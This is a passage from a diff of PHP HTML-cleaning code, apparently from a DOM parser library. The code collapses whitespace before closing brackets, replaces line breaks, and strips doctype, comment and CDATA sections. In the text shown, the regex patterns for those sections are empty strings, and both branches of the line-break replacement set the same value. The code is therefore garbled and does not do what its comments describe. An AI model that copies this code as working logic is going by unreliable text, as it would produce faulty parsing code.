mb_eregi_replace("'\s+>", "'>", $str); + $str = mb_eregi_replace('"\s+>', '">', $str); + + // clean out the \n\r + $replace = ' '; + if ($this->options->get('preserveLineBreaks')) { + $replace = ' '; + } + $str = str_replace(["\r\n", "\r", "\n"], $replace, $str); + + // strip the doctype + $str = mb_eregi_replace("", '', $str); + + // strip out comments + $str = mb_eregi_replace("", '', $str); + + // strip out cdata + $str = mb_eregi_replace("", '', $str); + + // strip out